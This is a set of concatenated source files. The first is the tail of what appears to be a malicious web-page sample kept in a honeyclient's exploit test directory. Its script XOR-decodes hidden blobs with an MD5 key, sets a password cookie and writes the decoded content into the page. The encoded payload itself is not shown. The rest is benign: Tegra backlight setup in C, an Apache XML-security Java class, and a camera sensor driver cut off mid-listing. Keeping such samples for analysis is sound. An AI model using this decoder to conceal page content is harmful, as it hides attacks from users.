b64pad : "", /* base-64 pad character. "=" for strict RFC compliance */
chrsz : 8, /* bits per input character. 8 - ASCII; 16 - Unicode */
b64_hmac_md5:
function(key, data) { return binl2b64(core_hmac_md5(key, data)); },
b64_md5:
function(s){ return binl2b64(core_md5(str2binl(s), s.length * this.chrsz));},
binl2b64:
function(binarray){
var tab =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for(var i = 0; i < binarray.length * 4; i += 3)
{
var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16)
| (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 )
| ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > binarray.length * 32) str += this.b64pad;
else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
}
}
return str;
},
binl2hex:
function(binarray){
var hex_tab = this.hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for(var i = 0; i < binarray.length * 4; i++)
{
str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +
hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);
}
return str;
},
binl2str:
function(bin){
var str = "";
var mask = (1 << this.chrsz) - 1;
for(var i = 0; i < bin.length * 32; i += this.chrsz)
str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask);
return str;
},
bit_rol:
function(num, cnt){return (num << cnt) | (num >>> (32 - cnt));},
core_hmac_md5:
function(key, data){
var bkey = str2binl(key);
if(bkey.length > 16) bkey = core_md5(bkey, key.length * this.chrsz);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * this.chrsz);
return core_md5(opad.concat(hash), 512 + 128);
},
core_md5:
function(x, len){
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = this.md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = this.md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = this.md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = this.md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = this.md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = this.md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = this.md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = this.md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = this.md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = this.md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = this.md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = this.md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = this.md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = this.md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = this.md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = this.md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = this.md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = this.md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = this.md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = this.md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = this.md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = this.md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = this.md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = this.md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = this.md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = this.md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = this.md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = this.md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = this.md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = this.md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = this.md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = this.md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = this.md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = this.md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = this.md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = this.md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = this.md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = this.md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = this.md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = this.md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = this.md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = this.md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = this.md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = this.md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = this.md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = this.md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = this.md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = this.md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = this.md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = this.md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = this.md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = this.md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = this.md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = this.md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = this.md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = this.md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = this.md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = this.md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = this.md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = this.md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = this.md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = this.md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = this.md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = this.md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = this.safe_add(a, olda);
b = this.safe_add(b, oldb);
c = this.safe_add(c, oldc);
d = this.safe_add(d, oldd);
}
return Array(a, b, c, d);
},
hex_hmac_md5:function(key, data){ return this.binl2hex(this.core_hmac_md5(key, data)); },
hex_md5:function(s){return this.binl2hex(this.core_md5(this.str2binl(s), s.length * this.chrsz));},
md5:function(s){return(this.hex_md5(s));},
md5_cmn:function(q, a, b, x, s, t){return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(a, q), this.safe_add(x, t)), s),b);},
md5_ff:function(a, b, c, d, x, s, t){return this.md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);},
md5_gg:function(a, b, c, d, x, s, t){return this.md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);},
md5_hh:function(a, b, c, d, x, s, t){return this.md5_cmn(b ^ c ^ d, a, b, x, s, t);},
md5_ii:function(a, b, c, d, x, s, t){return this.md5_cmn(c ^ (b | (~d)), a, b, x, s, t);},
md5_vm_test:function(){return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";},
safe_add:
function(x, y){
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
},
str2binl:
function(str){
var bin = Array();
var mask = (1 << this.chrsz) - 1;
for(var i = 0; i < str.length * this.chrsz; i += this.chrsz)
bin[i>>5] |= (str.charCodeAt(i / this.chrsz) & mask) << (i%32);
return bin;
},
str_hmac_md5:function(key, data){ return binl2str(core_hmac_md5(key, data)); },
str_md5:function(s){ return binl2str(core_md5(str2binl(s), s.length * this.chrsz));}
}
function performPage(strPass){
alert('gulp');
if(strPass){
var wwwcuteqqcn="password=";
document.cookie=wwwcuteqqcn+escape(strPass);
var cuteqq,cuteqq2,cuteqq3;
cuteqq=XOR(unescape(Qq_784378237),STR.md5(pass));
cuteqq2=XOR(unescape(Qq784378237),STR.md5(pass));
cuteqq3=cuteqq+www_cuteqq_cn_s+cuteqq2;
document.write(cuteqq3);
return(false);
}
alert('AIEEEEEE');
var pass="TEST.WWW.CUTEQQ.CN";
if(pass){
pass=unescape(pass);
var cuteqq,cuteqq2,cuteqq3;
cuteqq=XOR(unescape(Qq_784378237),STR.md5(pass));
cuteqq2=XOR(unescape(Qq784378237),STR.md5(pass));
cuteqq3=cuteqq+www_cuteqq_cn_s+cuteqq2;
alert(cuteqq3);
document.write(cuteqq3);
return(false);
}
}
performPage();
</script>
</body>
</html>
| buffer/thug | tests/samples/exploits/Pps.html | HTML | gpl-2.0 | 15,333 |
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/platform_device.h>
#include <linux/io.h>
#include <asm/mach-types.h>
#include <asm/mach/arch.h>
#include <asm/mach/time.h>
#include <asm/setup.h>
#include <mach/iomap.h>
#include <mach/irqs.h>
#include <mach/nvrm_linux.h>
#include <linux/gpio.h>
#include <nvrm_module.h>
#include <nvrm_boot.h>
#include <nvodm_services.h>
#include <linux/leds-lm3530.h>
#include <linux/leds-lm3532.h>
#include "gpio-names.h"
#include "board.h"
#include "hwrev.h"
#include "board-mot.h"
#define TEGRA_BACKLIGHT_EN_GPIO 32 /* TEGRA_GPIO_PE0 */
#define TEGRA_KEY_BACKLIGHT_EN_GPIO 47 /* TEGRA_GPIO_PE0 */
static int disp_backlight_init(void)
{
int ret;
if ((ret = gpio_request(TEGRA_BACKLIGHT_EN_GPIO, "backlight_en"))) {
pr_err("%s: gpio_request(%d, backlight_en) failed: %d\n",
__func__, TEGRA_BACKLIGHT_EN_GPIO, ret);
return ret;
} else {
pr_info("%s: gpio_request(%d, backlight_en) success!\n",
__func__, TEGRA_BACKLIGHT_EN_GPIO);
}
if ((ret = gpio_direction_output(TEGRA_BACKLIGHT_EN_GPIO, 1))) {
pr_err("%s: gpio_direction_output(backlight_en) failed: %d\n",
__func__, ret);
return ret;
}
if (machine_is_olympus()) {
if ((ret = gpio_request(TEGRA_KEY_BACKLIGHT_EN_GPIO,
"key_backlight_en"))) {
pr_err("%s: gpio_request(%d, key_backlight_en) failed: %d\n",
__func__, TEGRA_KEY_BACKLIGHT_EN_GPIO, ret);
return ret;
} else {
pr_info("%s: gpio_request(%d, key_backlight_en) success!\n",
__func__, TEGRA_KEY_BACKLIGHT_EN_GPIO);
}
if ((ret = gpio_direction_output(TEGRA_KEY_BACKLIGHT_EN_GPIO, 1))) {
pr_err("%s: gpio_direction_output(key_backlight_en) failed: %d\n",
__func__, ret);
return ret;
}
}
return 0;
}
static int disp_backlight_power_on(void)
{
pr_info("%s: display backlight is powered on\n", __func__);
gpio_set_value(TEGRA_BACKLIGHT_EN_GPIO, 1);
return 0;
}
static int disp_backlight_power_off(void)
{
pr_info("%s: display backlight is powered off\n", __func__);
gpio_set_value(TEGRA_BACKLIGHT_EN_GPIO, 0);
return 0;
}
struct lm3530_platform_data lm3530_pdata = {
.init = disp_backlight_init,
.power_on = disp_backlight_power_on,
.power_off = disp_backlight_power_off,
.ramp_time = 0, /* Ramp time in milliseconds */
.gen_config =
LM3530_26mA_FS_CURRENT | LM3530_LINEAR_MAPPING | LM3530_I2C_ENABLE,
.als_config = 0, /* We don't use ALS from this chip */
};
struct lm3532_platform_data lm3532_pdata = {
.flags = LM3532_CONFIG_BUTTON_BL | LM3532_HAS_WEBTOP,
.init = disp_backlight_init,
.power_on = disp_backlight_power_on,
.power_off = disp_backlight_power_off,
.ramp_time = 0, /* Ramp time in milliseconds */
.ctrl_a_fs_current = LM3532_26p6mA_FS_CURRENT,
.ctrl_b_fs_current = LM3532_8p2mA_FS_CURRENT,
.ctrl_a_mapping_mode = LM3532_LINEAR_MAPPING,
.ctrl_b_mapping_mode = LM3532_LINEAR_MAPPING,
.ctrl_a_pwm = 0x82,
};
extern int MotorolaBootDispArgGet(unsigned int *arg);
void mot_setup_lights(struct i2c_board_info *info)
{
unsigned int disp_type = 0;
int ret;
if (machine_is_etna()) {
if ( HWREV_TYPE_IS_BRASSBOARD(system_rev) && HWREV_REV(system_rev) == HWREV_REV_1) { // S1 board
strncpy (info->type, LM3530_NAME,
sizeof (info->type));
info->addr = LM3530_I2C_ADDR;
info->platform_data = &lm3530_pdata;
pr_info("\n%s: Etna S1; changing display backlight to LM3530\n",
__func__);
} else {
pr_info("\n%s: Etna S2+; removing LM3532 button backlight\n",
__func__);
lm3532_pdata.flags = 0;
}
}
else if (machine_is_tegra_daytona()) {
pr_info("\n%s: Daytona; removing LM3532 button backlight\n",
__func__);
lm3532_pdata.flags = 0;
} else if (machine_is_sunfire()) {
pr_info("\n%s: Sunfire; removing LM3532 button backlight\n",
__func__);
lm3532_pdata.flags = LM3532_HAS_WEBTOP;
}
else {
#ifdef CONFIG_LEDS_DISP_BTN_TIED
lm3532_pdata.flags |= LM3532_DISP_BTN_TIED;
#endif
}
if ((ret = MotorolaBootDispArgGet(&disp_type))) {
pr_err("\n%s: unable to read display type: %d\n", __func__, ret);
return;
}
if (disp_type & 0x100) {
pr_info("\n%s: 0x%x ES2 display; will enable PWM in LM3532\n",
__func__, disp_type);
lm3532_pdata.ctrl_a_pwm = 0x86;
} else {
pr_info("\n%s: 0x%x ES1 display; will NOT enable PWM in LM3532\n",
__func__, disp_type);
}
}
| photon-dev-team/ics_atrix | arch/arm/mach-tegra/board-mot-lights.c | C | gpl-2.0 | 4,589 |
/*
* reserved comment block
* DO NOT REMOVE OR ALTER!
*/
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package com.sun.org.apache.xml.internal.security.keys.content;
import com.sun.org.apache.xml.internal.security.exceptions.XMLSecurityException;
import com.sun.org.apache.xml.internal.security.utils.Constants;
import com.sun.org.apache.xml.internal.security.utils.SignatureElementProxy;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
/**
*/
public class MgmtData extends SignatureElementProxy implements KeyInfoContent {
/**
* Constructor MgmtData
*
* @param element
* @param baseURI
* @throws XMLSecurityException
*/
public MgmtData(Element element, String baseURI)
throws XMLSecurityException {
super(element, baseURI);
}
/**
* Constructor MgmtData
*
* @param doc
* @param mgmtData
*/
public MgmtData(Document doc, String mgmtData) {
super(doc);
this.addText(mgmtData);
}
/**
* Method getMgmtData
*
* @return the managment data
*/
public String getMgmtData() {
return this.getTextFromTextChild();
}
/** {@inheritDoc} */
public String getBaseLocalName() {
return Constants._TAG_MGMTDATA;
}
}
| md-5/jdk10 | src/java.xml.crypto/share/classes/com/sun/org/apache/xml/internal/security/keys/content/MgmtData.java | Java | gpl-2.0 | 2,044 |
/*
* Copyright (C) 2011-2014 MediaTek Inc.
*
* This program is free software: you can redistribute it and/or modify it under the terms of the
* GNU General Public License version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program.
* If not, see <http://www.gnu.org/licenses/>.
*/
/*****************************************************************************
*
* Filename:
* ---------
* sensor.c
*
* Project:
* --------
* DUMA
*
* Description:
* ------------
* Source code of Sensor driver
*
*
* Author:
* -------
* PC Huang (MTK02204)
*
*============================================================================
* HISTORY
* Below this line, this part is controlled by CC/CQ. DO NOT MODIFY!!
*------------------------------------------------------------------------------
* $Revision:$
* $Modtime:$
* $Log:$
*
*
*------------------------------------------------------------------------------
* Upper this line, this part is controlled by CC/CQ. DO NOT MODIFY!!
*============================================================================
****************************************************************************/
#include <linux/videodev2.h>
#include <linux/i2c.h>
#include <linux/platform_device.h>
#include <linux/delay.h>
#include <linux/cdev.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <asm/atomic.h>
#include <asm/system.h>
//#include <mach/mt6516_pll.h>
#include "kd_camera_hw.h"
#include "kd_imgsensor.h"
#include "kd_imgsensor_define.h"
#include "kd_imgsensor_errcode.h"
#include "kd_camera_feature.h"
#include "mt9v115yuv_Sensor.h"
#include "mt9v115yuv_Camera_Sensor_para.h"
#include "mt9v115yuv_CameraCustomized.h"
#define MT9V115YUV_DEBUG
#ifdef MT9V115YUV_DEBUG
#define SENSORDB printk
#else
#define SENSORDB(x,...)
#endif
static DEFINE_SPINLOCK(mt9v115yuv_drv_lock);
extern int iWriteReg(u16 a_u2Addr , u32 a_u4Data , u32 a_u4Bytes , u16 i2cId);
extern int iReadRegI2C(u8 *a_pSendData , u16 a_sizeSendData, u8 * a_pRecvData, u16 a_sizeRecvData, u16 i2cId);
extern int iWriteRegI2C(u8 *a_pSendData , u16 a_sizeSendData, u16 i2cId);
kal_uint16 MT9V115_write_cmos_sensor(kal_uint32 addr, kal_uint32 para)
{
#if 1
char puSendCmd[4] = {(char)(addr >> 8) , (char)(addr & 0xFF) ,(char)(para >> 8),(char)(para & 0xFF)};
iWriteRegI2C(puSendCmd,4,MT9V115_WRITE_ID);
#else
iWriteReg((u16)addr,para,2,MT9V115_WRITE_ID);
#endif
}
kal_uint16 MT9V115_write8_cmos_sensor(kal_uint32 addr, kal_uint32 para)
{
char puSendCmd[3]={(char)(addr>>8),(char)(addr & 0xFF),(char)(para & 0xFF)};
iWriteRegI2C(puSendCmd,3,MT9V115_WRITE_ID);
}
kal_uint16 MT9V115_read_cmos_sensor(kal_uint32 addr)
{
kal_uint16 get_byte=0;
char puSendCmd[2] = {(char)(addr >> 8) , (char)(addr & 0xFF) };
iReadRegI2C(puSendCmd , 2, (u8*)&get_byte,2,MT9V115_WRITE_ID);
return ((get_byte<<8)&0xff00)|((get_byte>>8)&0x00ff);
}
/*******************************************************************************
* // Adapter for Winmo typedef
********************************************************************************/
#define WINMO_USE 0
#define Sleep(ms) mdelay(ms)
#define RETAILMSG(x,...)
MSDK_SENSOR_CONFIG_STRUCT MT9V115SensorConfigData;
static struct
{
kal_uint16 sensor_id;
kal_uint32 Digital_Zoom_Factor;
} MT9V115Sensor;
UINT32 MT9V115GetSensorID(UINT32 *sensorID)
{
int retry = 3;
UINT32 res=0;
SENSORDB("Get sensor id start!\n");
// check if sensor ID correct
do {
*sensorID = (MT9V115_read_cmos_sensor(MT9V115_ID_REG));
if (*sensorID == MT9V115_SENSOR_ID)
break;
SENSORDB("Read Sensor ID Fail = 0x%04x\n", *sensorID);
retry--;
} while (retry > 0);
if (*sensorID != MT9V115_SENSOR_ID) {
*sensorID = 0xFFFFFFFF;
return ERROR_SENSOR_CONNECT_FAIL;
}
SENSORDB("Get sensor id sccuss!\n");
return ERROR_NONE;
}
void MT9V115InitialSetting(void)
{
//MT9V115_write_cmos_sensor(0x001A,0x0106); // RESET_AND_MISC_CONTROL
/*
MT9V115_write_cmos_sensor(0x001A,0x0107); // RESET_AND_MISC_CONTROL
Sleep(1);
MT9V115_write_cmos_sensor(0x001A,0x0106); // RESET_AND_MISC_CONTROL
*/
//Step2-PLL_Timing
MT9V115_write_cmos_sensor(0x0010,0x0216); // PLL_DIVIDERS
MT9V115_write_cmos_sensor(0x0012,0x0200); // PLL_P_DIVIDERS
MT9V115_write_cmos_sensor(0x0018,0x0006); // STANDBY_CONTROL_AND_STATUS
// POLL STANDBY_CONTROL_AND_STATUS::FW_IN_STANDBY=> 0x01, ..., 0x00 (3 reads)
Sleep(10); //DELAY=10----add xiaohuan
MT9V115_write_cmos_sensor(0x0014,0x2047); // PLL_CONTROL
MT9V115_write_cmos_sensor(0x0012,0x0200); // PLL_P_DIVIDERS
MT9V115_write_cmos_sensor(0x0014,0x2046); // PLL_CONTROL
Sleep(10); //DELAY=10----add xiaohuan
//MT9V115_write_cmos_sensor(0x001E,0x0107); // PAD_SLEW
//MT9V115_write_cmos_sensor(0x001E,0x0557); // PAD_SLEW
MT9V115_write_cmos_sensor(0x001E,0x0557);
MT9V115_write_cmos_sensor(0x300A,0x01F9); //frame_length_lines=505
MT9V115_write_cmos_sensor(0x300C,0x02D6); //line_length_pck=726
MT9V115_write_cmos_sensor(0x3010,0x0012); //fine_correction=18
MT9V115_write_cmos_sensor(0x3040,0x0041); //read_mode=65
MT9V115_write8_cmos_sensor(0x9803,0x07); //stat_fd_zone_height=7
MT9V115_write_cmos_sensor(0xA06E,0x0098); //cam_fd_config_fdperiod_50hz=152
MT9V115_write_cmos_sensor(0xA070,0x007E); //cam_fd_config_fdperiod_60hz=126
MT9V115_write8_cmos_sensor(0xA072,0x11); //cam_fd_config_search_f1_50=17
MT9V115_write8_cmos_sensor(0xA073,0x13); //cam_fd_config_search_f2_50=19
MT9V115_write8_cmos_sensor(0xA074,0x14); //cam_fd_config_search_f1_60=20
MT9V115_write8_cmos_sensor(0xA075,0x16); //cam_fd_config_search_f2_60=22
MT9V115_write_cmos_sensor(0xA076,0x0003); //cam_fd_config_max_fdzone_50hz=3
MT9V115_write_cmos_sensor(0xA078,0x0004); //cam_fd_config_max_fdzone_60hz=4
MT9V115_write_cmos_sensor(0xA01A,0x0003); //cam_ae_config_target_fdzone=3
//Step3-Recommended
//Char_settings
MT9V115_write_cmos_sensor(0x3168,0x84F8); // DAC_ECL_VAALO
MT9V115_write_cmos_sensor(0x316A,0x828C); // DAC_RSTLO
MT9V115_write_cmos_sensor(0x316C,0xB477); // DAC_TXLO
MT9V115_write_cmos_sensor(0x316E,0x828A); // DAC_ECL
MT9V115_write_cmos_sensor(0x3180,0x87FF); // DELTA_DK_CONTROL
MT9V115_write_cmos_sensor(0x3E02,0x0600); // SAMP_RSTX1
MT9V115_write_cmos_sensor(0x3E04,0x221C); // SAMP_RSTX2
MT9V115_write_cmos_sensor(0x3E06,0x3632); // SAMP_RSTX3
MT9V115_write_cmos_sensor(0x3E08,0x3204); // SAMP_VLN_HOLD
MT9V115_write_cmos_sensor(0x3E0A,0x3106); // SAMP_SAMP_EN
MT9V115_write_cmos_sensor(0x3E0C,0x3025); // SAMP_SAMP_SIG
MT9V115_write_cmos_sensor(0x3E0E,0x190B); // SAMP_SAMP_RST
MT9V115_write_cmos_sensor(0x3E10,0x0700); // SAMP_COL_PUP
MT9V115_write_cmos_sensor(0x3E12,0x24FF); // SAMP_COL_PDN1
MT9V115_write_cmos_sensor(0x3E14,0x3731); // SAMP_COL_PDN2
MT9V115_write_cmos_sensor(0x3E16,0x0401); // SAMP_BOOST1_EN
MT9V115_write_cmos_sensor(0x3E18,0x211E); // SAMP_BOOST2_EN
MT9V115_write_cmos_sensor(0x3E1A,0x3633); // SAMP_BOOST3_EN
MT9V115_write_cmos_sensor(0x3E1C,0x3107); // SAMP_BOOST_MUX
MT9V115_write_cmos_sensor(0x3E1E,0x1A16); // SAMP_BOOST1_HLT
MT9V115_write_cmos_sensor(0x3E20,0x312D); // SAMP_BOOST2_HLT
MT9V115_write_cmos_sensor(0x3E22,0x3303); // SAMP_BOOST_ROW
MT9V115_write_cmos_sensor(0x3E24,0x1401); // SAMP_SH_VCL
MT9V115_write_cmos_sensor(0x3E26,0x0600); // SAMP_SPARE
MT9V115_write_cmos_sensor(0x3E30,0x0037); // SAMP_READOUT
MT9V115_write_cmos_sensor(0x3E32,0x1638); // SAMP_RESET_DONE
MT9V115_write_cmos_sensor(0x3E90,0x0E05); // RST_RSTX1
MT9V115_write_cmos_sensor(0x3E92,0x1310); // RST_RSTX2
MT9V115_write_cmos_sensor(0x3E94,0x0904); // RST_SHUTTER
MT9V115_write_cmos_sensor(0x3E96,0x0B00); // RST_COL_PUP
MT9V115_write_cmos_sensor(0x3E98,0x130B); // RST_COL_PDN
MT9V115_write_cmos_sensor(0x3E9A,0x0C06); // RST_BOOST1_EN
MT9V115_write_cmos_sensor(0x3E9C,0x1411); // RST_BOOST2_EN
MT9V115_write_cmos_sensor(0x3E9E,0x0E01); // RST_BOOST_MUX
MT9V115_write_cmos_sensor(0x3ECC,0x4091); // DAC_LD_0_1
MT9V115_write_cmos_sensor(0x3ECE,0x430D); // DAC_LD_2_3
MT9V115_write_cmos_sensor(0x3ED0,0x1817); // DAC_LD_4_5
MT9V115_write_cmos_sensor(0x3ED2,0x8504); // DAC_LD_6_7
MT9V115_write_cmos_sensor(0xA027,0x0030); // CAM_AE_CONFIG_MIN_VIRT_AGAIN
//load_and_go patch1
MT9V115_write_cmos_sensor(0x0982,0x0000); // ACCESS_CTL_STAT
MT9V115_write_cmos_sensor(0x098A,0x0000); // PHYSICAL_ADDRESS_ACCESS
MT9V115_write_cmos_sensor(0x8251,0x3C3C);
MT9V115_write_cmos_sensor(0x8253,0xBDD1);
MT9V115_write_cmos_sensor(0x8255,0xF2D6);
MT9V115_write_cmos_sensor(0x8257,0x15C1);
MT9V115_write_cmos_sensor(0x8259,0x0126);
MT9V115_write_cmos_sensor(0x825B,0x3ADC);
MT9V115_write_cmos_sensor(0x825D,0x0A30);
MT9V115_write_cmos_sensor(0x825F,0xED02);
MT9V115_write_cmos_sensor(0x8261,0xDC08);
MT9V115_write_cmos_sensor(0x8263,0xED00);
MT9V115_write_cmos_sensor(0x8265,0xFC01);
MT9V115_write_cmos_sensor(0x8267,0xFCBD);
MT9V115_write_cmos_sensor(0x8269,0xF5FC);
MT9V115_write_cmos_sensor(0x826B,0x30EC);
MT9V115_write_cmos_sensor(0x826D,0x02FD);
MT9V115_write_cmos_sensor(0x826F,0x0348);
MT9V115_write_cmos_sensor(0x8271,0xB303);
MT9V115_write_cmos_sensor(0x8273,0x4425);
MT9V115_write_cmos_sensor(0x8275,0x0DCC);
MT9V115_write_cmos_sensor(0x8277,0x3180);
MT9V115_write_cmos_sensor(0x8279,0xED00);
MT9V115_write_cmos_sensor(0x827B,0xCCA0);
MT9V115_write_cmos_sensor(0x827D,0x00BD);
MT9V115_write_cmos_sensor(0x827F,0xFBFB);
MT9V115_write_cmos_sensor(0x8281,0x2013);
MT9V115_write_cmos_sensor(0x8283,0xFC03);
MT9V115_write_cmos_sensor(0x8285,0x48B3);
MT9V115_write_cmos_sensor(0x8287,0x0346);
MT9V115_write_cmos_sensor(0x8289,0x220B);
MT9V115_write_cmos_sensor(0x828B,0xCC31);
MT9V115_write_cmos_sensor(0x828D,0x80ED);
MT9V115_write_cmos_sensor(0x828F,0x00CC);
MT9V115_write_cmos_sensor(0x8291,0xA000);
MT9V115_write_cmos_sensor(0x8293,0xBDFC);
MT9V115_write_cmos_sensor(0x8295,0x1738);
MT9V115_write_cmos_sensor(0x8297,0x3839);
MT9V115_write_cmos_sensor(0x8299,0x3CD6);
MT9V115_write_cmos_sensor(0x829B,0x15C1);
MT9V115_write_cmos_sensor(0x829D,0x0126);
MT9V115_write_cmos_sensor(0x829F,0x6DFC);
MT9V115_write_cmos_sensor(0x82A1,0x0348);
MT9V115_write_cmos_sensor(0x82A3,0xB303);
MT9V115_write_cmos_sensor(0x82A5,0x4425);
MT9V115_write_cmos_sensor(0x82A7,0x13FC);
MT9V115_write_cmos_sensor(0x82A9,0x7E26);
MT9V115_write_cmos_sensor(0x82AB,0x83FF);
MT9V115_write_cmos_sensor(0x82AD,0xFF27);
MT9V115_write_cmos_sensor(0x82AF,0x0BFC);
MT9V115_write_cmos_sensor(0x82B1,0x7E26);
MT9V115_write_cmos_sensor(0x82B3,0xFD03);
MT9V115_write_cmos_sensor(0x82B5,0x4CCC);
MT9V115_write_cmos_sensor(0x82B7,0xFFFF);
MT9V115_write_cmos_sensor(0x82B9,0x2013);
MT9V115_write_cmos_sensor(0x82BB,0xFC03);
MT9V115_write_cmos_sensor(0x82BD,0x48B3);
MT9V115_write_cmos_sensor(0x82BF,0x0346);
MT9V115_write_cmos_sensor(0x82C1,0x220E);
MT9V115_write_cmos_sensor(0x82C3,0xFC7E);
MT9V115_write_cmos_sensor(0x82C5,0x2683);
MT9V115_write_cmos_sensor(0x82C7,0xFFFF);
MT9V115_write_cmos_sensor(0x82C9,0x2606);
MT9V115_write_cmos_sensor(0x82CB,0xFC03);
MT9V115_write_cmos_sensor(0x82CD,0x4CFD);
MT9V115_write_cmos_sensor(0x82CF,0x7E26);
MT9V115_write_cmos_sensor(0x82D1,0xFC7E);
MT9V115_write_cmos_sensor(0x82D3,0xD25F);
MT9V115_write_cmos_sensor(0x82D5,0x84F0);
MT9V115_write_cmos_sensor(0x82D7,0x30ED);
MT9V115_write_cmos_sensor(0x82D9,0x00DC);
MT9V115_write_cmos_sensor(0x82DB,0x0AB3);
MT9V115_write_cmos_sensor(0x82DD,0x034A);
MT9V115_write_cmos_sensor(0x82DF,0x2510);
MT9V115_write_cmos_sensor(0x82E1,0xEC00);
MT9V115_write_cmos_sensor(0x82E3,0x270C);
